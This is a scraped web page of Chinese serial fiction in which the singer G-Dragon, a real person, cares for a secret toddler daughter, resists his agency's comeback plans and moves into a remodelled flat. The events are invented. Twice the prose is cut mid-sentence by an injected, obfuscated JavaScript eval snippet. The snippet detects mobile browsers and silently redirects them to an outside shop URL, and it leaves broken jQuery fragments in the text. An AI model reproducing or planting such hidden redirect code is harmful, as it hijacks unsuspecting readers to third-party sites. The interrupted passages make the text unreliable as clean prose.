但他耳边回响起的,是贤智抓住他手指时的温度,是她睡着时均匀的呼吸声,是她脸上偶尔闪过的、转瞬即逝的笑容。 还有李智媛信里的那句话:「请让她平凡、快乐地长大。」 “社长,”权志龙开口,声音不大,却异常清晰,“我明白公司的难处,也感谢您一直以来的信任。回归的计划,我会认真考虑。但我需要时间——不是为了逃避,而是为了找到一个新的平衡。” 他顿了顿,继续说:“至于孩子的事,我希望公司能尊重我的决定。在合适的时机,我会以适当的方式向公众说明。但在那之前,我不希望她被媒体打扰,也不希望她成为商业谈判的筹码。” 杨贤硕看着他,眼神复杂。良久,他才缓缓开口:“志龙,你变了。” “也许吧。”权志龙没有否认。 “是因为军队?还是因为……”杨贤硕的目光意有所指地扫过权志龙,“当了父亲?” 权志龙没有回答。他拿起面前那杯已经凉透的茶,一饮而尽。苦涩的茶味在口腔里蔓延开来。 “我会看这份企划。”他放下茶杯,指了指文件夹,“一周内给您答复。关于回归的具体时间和形式,我们可以再讨论。但我的底线不会变——孩子的事,必须按我的方式来。” 杨贤硕沉默着,手指在膝盖上轻轻敲击。窗外,天色似乎更暗了些,包厢里的光线显得越发昏沉。 “好。”最终,杨贤硕点了点头,语气恢复了公事公办的平静,“企划书你带回去看。一周后,我们再谈。至于孩子……”他停顿了一下,“公司会暂时保密。但志龙,你要明白,纸包不住火。尤其是现在,有多少双眼睛在盯着你。” “我知道。”权志龙站起身,拿起外套和文件夹,“谢谢社长。” 杨贤硕没有起身,只是看着他,眼神里有种权志龙读不懂的、混杂着审视、失望和一丝隐忧的情绪。“志龙啊,”在他拉开门的前一刻,杨贤硕忽然开口,“这条路,不容易。” 权志龙回头,对他点了点头。 “我知道。” 走出会所时,下午的阳光有些刺眼。权志龙戴上帽子和口罩,快步走向停在路边的车。金南国已经在驾驶座上等着了。 “怎么样?”一上车,金南国就迫不及待地问。 权志龙把文件夹扔在后座,摘下口罩,长长地吐出一口气。“他知道了。” 金南国握着方向盘的手紧了紧。“社长……怎么说?” “让我把孩子交给别人照顾,专心回归。”权志龙靠进椅背,闭上眼睛,“我没同意。” 车 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17135653|196261||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 厢里安静了几秒。 “志龙,”金南国的声音有些艰难,“社长说的……也不是完全没有道理。你现在的情况,带着孩子工作,确实会很吃力。” “南国哥,”权志龙打断他,“开车吧。去我姐那里。” 金南国叹了口气,发动了车子。 回程的路上,权志龙一直看着窗外。街道、行人、广告牌、红绿灯……所有的一切都在飞速后退,像一部快进的默片。他脑子里很乱,杨贤硕的话、文件夹里那些精心设计的企划案、贤智安静的脸、李智媛信上的字迹……所有东西交织在一起,形成一团理不清的线团。 手机震动了一下。是多美发来的照片。 点开,是贤智坐在她家客厅地毯上的照片。她穿着早上新换的浅蓝色连体衣,头发被多美扎成了一个小揪揪,正低头摆弄着一个新的玩具——是一个简单的木制形状配对盒。她的表情很专注,小眉头微微皱着,似乎在思考该把哪个形状塞进哪个洞里。 照片下面,多美附了一句话:「玩了一个小时了,没哭没闹。比你小时候强多了。」 权志龙盯着那张照片看了很久,直到屏幕自动变暗。 他重新点亮屏幕,保存了照片,然后回复:「我马上回来。」 发送。 车子驶入多美公寓的地下停车场时,天色已经完全暗了下来。权志龙推开车门,没有立刻上楼,而是靠在车边,点燃了一支烟。 他已经很久没抽烟了。在部队里戒了,但此刻,尼古丁带来的短暂麻痹感,让他混乱的思绪稍微清晰了些。 烟雾在昏暗的光线中缓缓升腾,扭曲,消散。 他想起了很多年前,第一次走进YG大楼时的自己。青涩,忐忑,眼睛里燃烧着对舞台和音乐的渴望。那时的他,以为成功就是站在万人中央,接受山呼海啸的崇拜。 后来,他确实站上了顶峰。聚光灯,尖叫,奖项,赞美……他拥有了一个艺人梦想中的一切。 然后呢? 药物丑闻,舆论审判,自我怀疑,漫长的军旅生活,以及……那个柏林夜晚带来的、迟到的礼物。 一支烟燃尽,权志龙掐灭烟头,扔进垃圾桶。他整理了一下衣领,走进电梯。 电梯上升时,他看着镜面墙壁里自己的倒影。依旧是那张脸,但眼神里有什么东西不一样了。少了一些尖锐的锋芒,多了一些沉甸甸的东西。 门开了。 多美家的客厅里亮着温暖的灯光。电视开着,放着某个育儿频道的节目,音量调得很低。多美坐在沙发上,膝盖上放着笔记本电脑,手指在键盘上快速敲击。听到开门声,她抬起头。 “回来了?”她合上电脑,“谈得怎么样?” 权志龙没有立刻回答,他的目光落在了客厅地毯上。 贤智背对着他,坐在地毯中央,面前摊开一本新的绘本。但她没看绘本,而是抱着那只破兔子,仰着小脸,看着窗外渐渐亮起的城市灯火。侧脸的弧线在灯光下显得格外柔和,也格外孤单。 那一刻,权志龙心里所有的纠结、焦虑和不确定,忽然都沉淀了下来。 他走到贤智身边,在她旁边坐下。 贤智转过头,看到他,眼睛眨了眨,然后伸出小手,抓住了他的手指。 依旧是温热的,柔软的触感。 权志龙握住她的小手,轻声问:“今天乖吗?” 贤智没说话,只是把脸靠在了他的手臂上。 多美站起身,走向厨房。“饭在锅里,自己热。我还有个视频会议要开。”她走到厨房门口,又回头看了他们一眼,“对了,下午你朋友李洙赫来过电话,说想来看看你。我让他周末再来。” 权志龙点点头。“好。” 多美进了书房,关上门。客厅里只剩下电视里细微的背景音,和贤智轻轻的呼吸声。 权志龙抱着她,靠在沙发上。窗外,首尔的夜景璀璨如星河,无数灯火在黑暗中明明灭灭,像散落人间的星辰。 他低下头,看着怀里安静的女儿,想起李智媛信里的那句话: 「请让她平凡、快乐地长大。」 平凡。快乐。 这两个词,对于曾经站在巅峰、习惯了万众瞩目的他来说,如此陌生,却又如此沉重。 手机在口袋里震动。是金南国发来的消息,提醒他看那份企划书,以及明天需要确认的几个日程。 权志龙看了一眼,没有回复。 他只是抱着贤智,在渐渐深沉的夜色里,感受着怀里这个小生命真实的存在。 杨贤硕的话、公司的压力、粉丝的期待、媒体的窥探……所有这些,依然像巨石一样压在肩上。 但此刻,在这个安静的客厅里,他只想做好一件事。 当一个父亲。 哪怕笨拙,哪怕生疏,哪怕前路艰难。 至少此刻,他怀里的这个孩子,需要他。 而他也需要她——需要这份真实的、沉甸甸的重量,来锚定自己漂泊了太久的人生。 窗外,城市依旧喧嚣。 窗内,只有安静的呼吸,和渐渐同步的心跳。 6. 第六章 洙赫来访 周六早晨,首尔下起了细密的秋雨。 雨水敲打着多美家客厅的落地窗,蜿蜒流下,将窗外的城市风景晕染成一片朦胧的水彩。权志龙坐在窗边的地毯上,怀里抱着贤智,两人一起看着窗外被雨水模糊的世界。 贤智似乎对雨很感兴趣。她伸出小手,隔着玻璃去触碰那些滑落的水痕,指尖在冰凉的玻璃上留下一个个小小的圆形印记。她的眼睛睁得大大的,专注地看着雨水如何汇集、分流、最终消失在窗框边缘。 权志龙的下巴轻轻抵着她的发顶,能闻到她头发上淡淡的婴儿洗发水味道,混合着一点奶香。他今天没有刮胡子,新冒出的胡茬蹭着她的头发,有点痒。贤智动了动脑袋,但没有躲开。 过去三天,生活像被按下了某种缓慢而重复的循环键。醒来,喂奶,换尿布,陪玩,午睡,辅食,洗澡,哄睡……每一天都被这些琐碎而必需的步骤填满。权志龙从最初的手忙脚乱,到逐渐摸索出一点节奏,虽然依旧生疏,但至少不再把奶粉洒得满桌都是。 多美成了他的“技术顾问”兼“后勤总管”。她联系了室内设计师,已经开始着手改造权志龙的公寓;采购了几乎所有婴幼儿必需品,从尿布到辅食,从安全护栏到益智玩具;甚至还给他列了一张“每日必做清单”,贴在冰箱上。 “至少要做到这些,孩子才能健康成长。”多美说这话时,表情严肃得像在布置工作任务。 权志龙没有怨言。他像学习一门全新乐器一样,认真地、笨拙地学着如何当一个父亲。那本厚重的育儿书被他翻得边角卷起,重点段落用荧光笔标出。他学会了正确冲泡奶粉的温度,学会了如何判断尿布该不该换,学会了在贤智哭闹时先检查她是不是饿了、困了还是哪里不舒服——虽然贤智很少哭闹。 大多数时候,她只是安静地待着,用那双清澈的大眼睛观察周围的一切,包括他这个还在摸索中的父亲。 门铃响起时,权志龙正试图给贤智喂一勺新买的胡萝卜泥。贤智对胡萝卜泥兴趣缺缺,小嘴闭得紧紧的,眉头微皱,一副“这东西味道可疑”的表情。 “应该是洙赫。”多美从书房走出来,擦了擦手上的水——她刚才在给一盆绿植浇水。她走到门边,透过猫眼看了一眼,然后拉开门。 李洙赫站在门外,手里提着一个纸袋,肩头还沾着细密的雨珠。他穿着一件深灰色的长款风衣,里面是简单的黑色高领毛衣,头发剪得很短,露出清晰的额角和眉眼。看见多美,他微微颔首:“多美姐。” “进来吧。”多美侧身让他进门,“外面雨不小。” 李洙赫脱下风衣,挂在玄关的衣架上,然后换上了多美递过来的拖鞋。他的动作一贯的从容、利落,带着模特特有的精准和克制。 走进客厅,他的目光先是落在权志龙身上,然后,缓缓移向他怀里的贤智。 权志龙抱着贤智站起身。“洙赫。” 李洙赫走到他们面前,没有说话,只是静静地看着贤智。他的眼神很平静,没有太多惊讶或好奇,更像是一种细致的观察。 贤智也看着他。她似乎对这个新出现的、高挑而安静的男人产生了兴趣,眼睛一眨不眨地盯着他看,连之前抗拒的胡萝卜泥都忘了。 几秒后,李洙赫将手里的纸袋递过来。“给孩子的。” 权志龙接过,打开看了一眼。里面是一个包装精美的礼盒,打开,是一套质感极好的纯棉婴儿连体衣,柔和的米白色,设计简洁,没有任何多余的装饰。还有一个手工制作的木质摇铃,打磨得光滑圆润,轻轻一晃,发出清脆而不刺耳的响声。 “谢谢。”权志龙说。 李洙赫摇摇头,目光依旧落在贤智脸上。他看了她一会儿,然后从口袋里拿出一个小东西——是一个银色的小铃铛,用细链穿着,看起来像是某个饰品上的配件。 他蹲下身,让自己的视线与贤智齐平,然后将小铃铛轻轻放在掌心,递到她面前。 铃铛在灯光下反射出细碎的光。 贤智看了看铃铛,又抬头看了看李洙赫,然后伸出小手,小心翼翼地用指尖碰了碰铃铛的边缘。冰凉的金属触感让她缩了一下手指,但她很快又伸出去,这次,她抓住了那条细链。 叮铃。 轻微的响声在安静的客厅里格外清晰。 贤智的眼睛亮了一下。她又晃了晃手,铃铛再次发出声响。 她抬起头,看向李洙赫,嘴角非常轻微地、几乎难以察觉地向上弯了一下。 那不是一个真正的笑容,更像是一种面部肌肉的反射性牵动。但李洙赫看见了。 他点了点头,站起身,对权志龙说:“她喜欢铃铛的声音。” 语气平静,像是在陈述一个客观事实。 多美已经泡好了咖啡端过来。“坐下说吧。志龙,把孩子给我,你们聊。” 权志龙将贤智交给多美,然后和李洙赫在沙发上坐下。茶几上放着两杯冒着热气的咖啡,雨声在窗外淅淅沥沥,成为背景音。 “什么时候回来的?”李洙赫端起咖啡杯,问道。他刚从巴黎时装周回来,行程紧凑。 “上周。”权志龙说,“退伍当天。” 李洙赫点点头,没有问部队生活如何,也没有问退伍感想。他们认识太多年,有些话题不必刻意开启。“孩子的事,”他顿了顿,“我听多美姐简单说了。” 权志龙沉默了一下。“嗯。” “你打算怎么办?”李洙赫问得很直接,但语气里没有评判,只是询问。 “先照顾好她。”权志龙说,“其他的……慢慢来。” “公司那边呢?” “谈过了。让我把孩子交给别人照顾,专心回归。”权志龙扯了扯嘴角,“我没同意。” 李洙赫喝了一口咖啡,目光投向窗外的雨幕。“杨社长不会轻易放弃。” “我知道。” 短暂的沉默。雨声填充着空气的间隙。 “需要帮忙吗?”李洙赫转回头,看向权志龙,“任何方面。” 权志龙看着他。李洙赫的表情很平静,眼神里是一种他们之间特有的、不必多言的可靠。他知道李洙赫的意思——无论是人脉、资源,还是单纯的陪伴和支持。 “暂时还好。”权志龙说,“在多美姐这里过渡几天,等我公寓那边改造好,就带她回去。” “安全方面需要加强。”李洙赫说,“汉南洞那边虽然私密性好,但难免有记者蹲守。如果需要,我可以介绍可靠的安保团队。” “好。”权志龙没有拒绝。 两人又聊了些近况。李洙赫说起巴黎时装周的见闻,提到几个新锐设计师,也提到欧洲艺术圈的一些动向。权志龙安静地听着,偶尔插一两句话。他们的交流总是这样,不热烈,但顺畅,像两条并行流淌的溪流,互不干扰,却又彼此映照。 多美抱着贤智在客厅另一角玩新的摇铃。贤智对摇铃的兴趣比对胡萝卜泥大得多,小手抓着木柄,一次又一次地摇晃,听着清脆的声响,表情专注。 “她叫什么名字?”李洙赫问。 “贤智。李贤智。” “贤智。”李洙赫重复了一遍,声音很低,“好名字。” 他放下咖啡杯,站起身,走向多美和贤智。多美见他过来,便把贤智递给他。李洙赫接过孩子的动作有些生疏,但很稳。他调整了一下姿势,让贤智靠在自己臂弯里。 贤智似乎并不排斥这个新怀抱。她仰头看着李洙赫,小手还抓着摇铃,时不时晃一下。 李洙赫低头看着她,看了很久。他的表情很柔和,眼神里有种权志龙很少见到的、近乎温柔的东西。 “她很安静。”李洙赫说,不是对任何人,更像是在自言自语。 “嗯。”多美站在一旁,“几乎不哭闹。但太安静了,有时候反而让人担心。” 李洙赫没有接话。他只是抱着贤智,在客厅里慢慢踱步。他的步伐很稳,贤智在他怀里渐渐放松下来,小脑袋靠在他肩上,眼睛半闭着。 权志龙坐在沙发上,看着这一幕。雨声,咖啡的香气,朋友抱着他的女儿在客厅里缓慢走动的身影……这一切交织在一起,构成了一种奇异的、安宁的氛围。 他想起了很多年前,他和李洙赫刚认识的时候。那时他们都还年轻,在时尚派对上初次相遇,一个是不羁的音乐人,一个是崭露头角的模特。没什么特别的理由,就是觉得对方“顺眼”,于是成了朋友。这些年来,他们见证了彼此的起伏,也保持了恰到好处的距离——不黏腻,但需要时总在。 手机震动了一下,打破了这份宁静。权志龙拿出来看,是金南国发来的消息,提醒他下周有几个必须处理的日程:税务申报的最终确认、一份到期的代言合约续约谈判、还有杨社长那边催问企划书的反馈。 权志龙皱了皱眉,回复:「知道了。」 他把手机放回口袋,抬头时,发现李洙赫正看着他。 “工作的事?”李洙赫问。 “嗯。一些必须处理的杂事。” “需要我陪你去吗?”李洙赫说,“有些场合,多一个人在,会少些麻烦。” 权志龙想了想,点点头。“好。” 窗外,雨渐渐小了,从绵密的雨丝变成了稀疏的雨滴。天色亮了些,云层裂开缝隙,漏下几缕微弱的阳光。 多美看了看时间。“中午了。洙赫留下来吃饭吧,我叫了外卖,很快就到。” 李洙赫没有推辞。“好。” 午餐是简单的韩餐外卖:辣炖鸡块、海鲜葱饼、杂菜,还有给贤智准备的南瓜粥。四个人——如果算上贤智的话——围坐在餐桌边。贤智被放在儿童餐椅里,面前摆着小碗和勺子。 李洙赫吃饭时很安静,动作优雅,几乎不发出声音。他偶尔会看一眼贤智,观察她如何笨拙地试图用勺子舀起南瓜粥,又如何因为手不稳而把大部分粥洒在围兜上。 “需要帮忙吗?”他问。 权志龙摇摇头,“让她自己试。” 贤智的努力进行得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17135654|196261||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很艰难。她的小手还不太能精确控制勺子,每次舀起粥,还没送到嘴边就洒掉大半。但她很有耐心,一次又一次地尝试,小眉头因为专注而微微皱着。 终于,有一勺粥成功地送进了嘴里。 贤智的动作停了一下,似乎在品尝味道。然后,她抬起头,看向权志龙,嘴角又出现了那个极浅的、几乎看不见的上扬弧度。 虽然很快又恢复了平静,但那一刻,她眼睛里的光,亮得惊人。 权志龙伸手,用湿巾擦掉她脸颊上的粥渍。“好吃吗?” 贤智没说话,只是低下头,继续和勺子奋战。 李洙赫看着这一幕,忽然开口:“她很像你。” 权志龙抬起头。 “不是长相。”李洙赫补充道,“是那种……专注的样子。做一件事,就一定要做到。” 权志龙愣了一下,重新看向贤智。她正用两只小手努力稳住勺子,试图舀起碗底最后一点粥,表情严肃得像在进行什么重要实验。 确实,很像。 那个为了一个和弦反复练习到凌晨的他,那个为了舞台效果和编舞老师争论不休的他,那个在录音室里一遍遍重录直到满意的他。 原来那种近乎偏执的专注,也会遗传。 午餐在一种平和的氛围中结束。多美收拾餐具,李洙赫则主动提出帮忙给贤智换尿布——他说想学学。 权志龙带他走进客房,示范了一次。李洙赫学得很认真,虽然动作生疏,但每个步骤都力求精准。贤智很配合,躺着一动不动,只是睁着大眼睛看着天花板,偶尔转头看看这两个在她身上忙碌的大人。 “好了。”李洙赫扣好尿布的搭扣,轻轻拍了拍贤智的小肚子。 贤智动了动腿,发出一个含糊的、类似于“啊”的音节。 李洙赫低头看她,嘴角也弯起了一个很浅的弧度。“不客气。” 下午,雨彻底停了。阳光从云层后透出来,湿漉漉的城市在光线下闪闪发光。李洙赫要走了,他晚上还有一个拍摄工作。 “下周你处理工作的事,提前告诉我时间。”他在玄关穿上风衣,“我调整日程。” “好。”权志龙点头。 李洙赫又看了一眼被权志龙抱在怀里的贤智。贤智似乎有些困了,揉着眼睛,小脑袋一点一点的。 他从口袋里掏出那个小银铃,轻轻系在了贤智外套的扣眼上。“送给她。” 然后,他对权志龙点点头,转身离开了。 门关上,公寓里重新安静下来。 多美从书房探出头:“洙赫走了?” “嗯。” “他倒是接受得快。”多美走过来,从权志龙怀里接过已经半睡的贤智,“我还以为他会更惊讶些。” “洙赫一直这样。”权志龙说,“不太表露情绪,但心里都有数。” 多美抱着贤智往客房走,准备哄她午睡。走到门口时,她回头看了权志龙一眼:“有他这样的朋友,是你的运气。” 权志龙站在客厅中央,看着窗外渐渐放晴的天空。 是的,是运气。 在经历了团队的崩解、公司的动荡、以及人生突如其来的巨变后,还能有姐姐在身边支撑,有挚友不问缘由地支持,这确实是运气。 他走到窗边,看着楼下街道上逐渐多起来的行人。雨后的空气清新,阳光在湿漉漉的地面上反射出细碎的光。 手机又震动起来。这次是税务代理打来的电话,提醒他明天必须去办公室签署一些文件。 权志龙接起电话,一边应答,一边看着窗外。 生活还在继续。有必须面对的工作,有需要处理的琐事,有来自各方的压力和期待。 但此刻,在这个雨后初晴的下午,他感到一种奇异的平静。 也许是因为怀里曾经空落落的地方,现在有了一个真实的重量。 也许是因为知道,自己并非孤身一人。 电话那头,税务代理还在详细解释条款。权志龙“嗯”“啊”地应着,目光却落在客房虚掩的门上。 门缝里,隐约传来多美低低的哼唱声,还有贤智逐渐平稳的、细微的呼吸声。 他挂断电话,走回客厅,在那本摊开的育儿书旁坐下。书页正好翻到“幼儿语言发育”那一章,上面写着:一岁半的孩子,通常能说出少量简单的词语,理解更多的指令…… 权志龙拿起笔,在空白处写下: 「贤智,一岁半。会抓手指,会看人,会碰铃铛。不喜欢胡萝卜泥,喜欢摇铃声音。偶尔会笑。不说话,但眼神能懂。」 他停下笔,看着这行字。 窗外,阳光完全穿透云层,将整个房间照亮。雨后清新的空气从微开的窗户缝隙涌进来,带着泥土和植物的气息。 新的生活,就这样,在秋雨初晴的午后,缓慢而真实地展开着。 带着奶香,带着尿布,带着偶尔的铃铛声响,带着朋友无声的支持,也带着一个父亲笨拙而坚定的决心。 7. 第七章 新巢 改造工程持续了整整五天。 权志龙带着贤智在多美家又住了两个晚上,第三天中午,室内设计师打来电话,说主体改造已经完成,只剩下一些软装细节和空气质量检测。多美提议再等两天,让新家具的味道散一散,但权志龙看着贤智每天睡在临时摇篮里、玩具堆在客厅角落,决定还是尽快回去。 “至少那里有真正的儿童房。”他对多美说,“她也需要熟悉自己的空间。” 多美没有反对,只是又多准备了一箱东西——空气净化器、加湿器、监控摄像头,还有一张打印出来的《婴幼儿家庭安全自查清单》。 搬回去那天是周二,十一月初的首尔,天气难得的晴朗高远。金南国开了一辆空间更大的SUV来接他们,后备箱塞满了贤智的行李:衣服、玩具、绘本、奶粉、尿布、辅食……多美又添置了不少东西,以至于权志龙自己的行军包只能挤在角落。 贤智被权志龙抱着,身上裹着一件新买的浅灰色羊绒小斗篷,帽子边缘有一圈柔软的白色绒毛。她似乎意识到今天有些不同,一路上都很安静,只是把小脸贴在权志龙颈窝,眼睛看着窗外飞逝的、沐浴在秋日澄澈阳光下的街景。 车子驶入汉南洞那栋熟悉的大楼地下车库时,权志龙感到一阵莫名的紧张。他在这里住了很多年,这里的每一寸空间都烙印着他作为“G-Dragon”的痕迹——音乐、艺术、派对、不眠的创作之夜,以及那些独自面对空旷房间的寂静时刻。 但现在,他要带着一个一岁半的女儿回来。 电梯平稳上升。权志龙抱着贤智,金南国推着堆满行李的推车。电梯镜面映出他们的身影,贤智帽子上的绒毛在顶灯下泛着柔软的光泽。 “叮。” 门开了。 玄关的感应灯自动亮起,照亮了焕然一新的空间。 权志龙站在门口,有那么几秒钟,几乎认不出这是自己的家。 原先冰冷的大理石地板大部分区域铺上了厚实的浅灰色地毯,边缘固定得整齐利落。客厅中央那张线条凌厉的黑色大理石茶几不见了,取而代之的是一张低矮的圆形木桌,边角打磨成柔和的弧度。原本靠墙摆放的一排限量版KAWS玩偶被移到了更高处的展示柜里,下方空出来的区域铺上了游戏垫,上面散落着几个新的软积木和布偶。 最显眼的变化在客厅一角。那里原本立着一座造型前卫的金属雕塑,现在雕塑被移到了书房,原地安装了一套组合式的儿童游戏架:有小小的滑梯、钻爬隧道和软包攀岩墙。色彩是柔和的莫兰迪色系,与整体空间的色调协调。 空气中没有新家具常有的刺鼻气味,只有淡淡的松木香和一丝隐约的、类似阳光晒过棉布的味道——是空气净化器和香薰系统共同作用的结果。 “设计师说所有材料都用了最高环保标准,甲醛检测已经达标。”金南国在他身后低声说,“儿童房的家具是实木的,涂料是水性漆。游戏区的所有边角都做了防护处理。” 权志龙点点头,抱着贤智走进去。他的脚步踩在地毯上,几乎没有声音。 贤智在他怀里动了动,小脑袋转来转去,好奇地打量着这个陌生的环境。她的目光首先被游戏区鲜艳的色彩吸引,盯着那架小滑梯看了很久。 权志龙抱着她,在客厅里慢慢走了一圈,让她看清楚每个角落。然后,他走向走廊尽头那间原本用作储藏室的房间。 门推开。 儿童房。 房间不大,但设计得极为用心。墙壁漆成了温柔的米白色,一面墙上手绘着简单的、线条流畅的云朵和星星图案。靠窗的位置放着一张实木婴儿床,床栏的高度可调节,铺着浅蓝色的床品。床边是一个矮矮的衣柜,旁边是带软垫的尿布台,台面上整齐摆放着湿巾、尿布和护肤霜。墙角立着一个小小的书架,已经摆上了多美买的那些绘本。 最让权志龙意外的是,房间另一侧靠墙放着一架小小的、看起来是定制尺寸的电子钢琴。琴身是奶白色的,琴键是柔和的浅灰色。旁边还有一个小小的、铺着软垫的儿童座椅。 “那是多美姐坚持要加的。”金南国站在门口解释,“她说,孩子应该从小接触音乐,而且……”他顿了顿,“她说,你可能会需要。” 权志龙走到钢琴边,用空着的那只手轻轻按下一个琴键。 清脆的、柔和的单音在安静的房间里响起。 贤智的注意力立刻被吸引了。她转过头,看向钢琴,眼睛睁得大大的。 权志龙又按了几个键,不成调,只是简单的音符跳跃。 贤智听着,然后,做了一个出乎意料的动作——她朝着钢琴的方向,伸出小手,张开五指,在空中抓了抓。 像在捕捉那些看不见的音符。 权志龙的心脏轻轻一颤。他抱着她在琴凳上坐下——琴凳也是特制的,足够宽大,可以容纳一个大人和一个孩子。他把贤智放在自己腿上,然后双手放在琴键上。 没有弹奏复杂的曲子,只是用右手,缓慢地、一个音符一个音符地,弹起了那首他这几天经常哼唱的、不知名的钢琴曲。 旋律很简单,甚至有些单调,但在安静的房间里,在午后的阳光透过百叶窗洒进来的光斑里,显得格外温柔。 贤智靠在他怀里,一动不动,只是仰着小脸,看着他的手指在琴键上移动。她的表情很专注,眼睛里映着窗外透进来的光。 一曲终了。 最后一个音符的余韵在空气中缓缓消散。 贤智低下头,看向琴键,然后伸出自己的小手,学着权志龙的样子,用一根食指,小心翼翼地按下一个白键。 “叮。” 她似乎被自己制造的声音吓了一跳,手指缩了缩。但很快,她又按了一下。 “叮。” 这一次,她抬起头,看向权志龙,嘴角又出现了那个极浅的、几乎看不见的上扬。 权志龙握着她的小手,带着她,一起按下一个和弦。 几个音符同时响起,在房间里共鸣。 贤智的眼睛亮了一下。她没有笑出声,但那种明亮的、近乎惊喜的眼神,比任何笑容都更清晰地传递了她的情绪。 金南国不知何时已经悄悄退了出去,带上了房门。 房间里只剩下他们父女俩,和窗外隐约的城市背景音。 权志龙抱着贤智,在琴凳上坐了很久。他弹一些简单的旋律,有时是童谣,有时是自己即兴的片段。贤智大部分时间都安静地听着,偶尔会伸出小手,碰碰琴键,制造一些不和谐但充满生命力的杂音。 直到贤智开始揉眼睛,露出困倦的神情,权志龙才停下,抱着她走向婴儿床。 换尿布,换睡衣,调暗灯光,把她放进铺着柔软床品的婴儿床里。贤智抱着她的破兔子玩偶,打了个小小的哈欠,但眼睛还睁着,看着他。 权志龙拉过床边的矮凳坐下,从书架上抽出一本绘本。“要听故事吗?” 贤智没说话,只是把兔子玩偶搂得更紧了些。 权志龙翻开绘本,开始读。他的声音不高,甚至有些生涩——他很久没有这样一字一句地朗读文字了。故事很简单,关于一只小熊找妈妈,最后在星星的指引下回到家。 读到小熊终于找到妈妈,和妈妈拥抱在一起时,权志龙的声音停顿了一下。 他抬起头,看向婴儿床里。 贤智已经睡着了。睫毛在脸颊上投下浅浅的阴影,小嘴微微张着,呼吸均匀。她的手还抓着兔子玩偶的耳朵,另一只小手伸出被子,五指微微蜷着。 权志龙轻轻握住那只小手,指尖传来温热的触感。 他合上绘本,放在一边,就这样坐在矮凳上,看着女儿熟睡的脸。 窗外的光线渐渐倾斜,从明亮的白转为温暖的橙黄。城市的喧嚣被厚重的玻璃和墙壁隔绝,房间里只有加湿器细微的嗡鸣,和贤智平稳的呼吸声。 手机在口袋里震动。权志龙拿出来看,是多美发来的消息:「安顿好了吗?孩子适应吗?」 他回复:「嗯。睡了。」 「那就好。晚上我让餐厅送餐过去,你别自己折腾了。记得看监控,我在我这边也连了一个。」 权志龙抬起头,看向墙角那个小巧的、几乎与墙面融为一体的监控摄像头。红色的指示灯微弱地闪烁着。 他又看向婴儿床里的贤智。 在这个曾经只属于他一个人的、充满音乐和艺术、也充满孤独和疲惫的空间里,现在多了一个小小的、沉睡的生命。 一切都变了。 但似乎,又有某种他一直缺失的东西,正在慢慢填补进来。 他轻轻松开贤智的小手,给她掖好被角,然后站起身,走到窗边。 窗外,汉江在夕阳下泛着金色的波光。远处的63大厦、首尔塔、鳞次栉比的高楼,都在暮色中逐渐亮起灯火。2019年深秋的首尔,依旧繁华而忙碌,尚未被全球性的阴霾笼罩。 这个城市,这个他成名、闪耀、也曾迷失的地方,此刻看起来有些陌生,又有些新鲜。 手机又震动了一下。这次是金南国:「志龙,杨社长助理来问企划书的反馈。我说你这周内会给答复。另外, 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他拿出一瓶水,拧开喝了一口,然后走到客厅的监控显示屏前——是多美坚持要装的,可以同时查看儿童房、客厅和玄关的情况。 屏幕上,儿童房的画面里,贤智还在熟睡,小胸脯随着呼吸微微起伏。 权志龙盯着那个画面看了很久。 然后,他走向书房——那是唯一没有太大改动的房间。他的工作台、电脑、音乐设备、满墙的唱片和书籍,都还保持着原样。只是角落多了一个舒适的懒人沙发,旁边堆着几本新的绘本和育儿书。 他在工作台前坐下,打开了杨贤硕给的那份企划文件夹。 灯光下,那些精心设计的方案、华丽的视觉概念、密密麻麻的行程安排,再次摊开在他面前。 舞台。灯光。音乐。尖叫。掌声。 那些曾经构成他生命全部的东西,此刻看起来既熟悉,又遥远。 他翻到最后一页,是一份初步的时间表。明年一月,单曲录制;二月,MV拍摄;三月,正式发行,同时开始亚洲巡演预热;四月,首尔演唱会…… 每一个日期,都意味着大量的时间投入,意味着出差,意味着深夜的排练,意味着无法被打破的日程。 而儿童房的监控画面里,那个小小的身影,还在安稳地睡着。 权志龙合上文件夹,靠在椅背上,闭上眼睛。 窗外的首尔,灯火璀璨,永不停歇。 窗内的这个家,曾经是他逃避世界的堡垒,如今,却成了他必须守护的巢。 手机屏幕亮起,显示着时间:晚上七点。 贤智通常七点半会醒来,需要喝奶,然后玩一会儿,八点半左右再次入睡。 权志龙站起身,走出书房,轻轻推开儿童房的门。 婴儿床里,贤智正好动了动,慢慢睁开眼睛。她没有哭闹,只是眨了眨眼,适应着昏暗的光线,然后看向门口的他。 权志龙走到床边,俯下身,轻声说:“醒了?” 贤智看着他,伸出小手。 他把她抱起来,感受着她睡醒后温热的身体和软软的依赖。 “饿不饿?”他问,抱着她走向厨房。 贤智把脸埋在他肩头,小脑袋蹭了蹭。 厨房的灯光温暖明亮。权志龙一手抱着她,另一手熟练地冲奶粉——这个动作,他已经练习了很多遍。 奶瓶的温度刚刚好。贤智抱着奶瓶,靠在他怀里,小口小口地喝着。客厅没有开主灯,只有厨房的照明和窗外城市的霓虹透进来,在墙壁上投下模糊的光影。 权志龙抱着她,在安静的客厅里慢慢踱步。 喝到一半,贤智停了下来,打了个奶嗝。权志龙轻轻拍她的背,她抬起头,看向他。 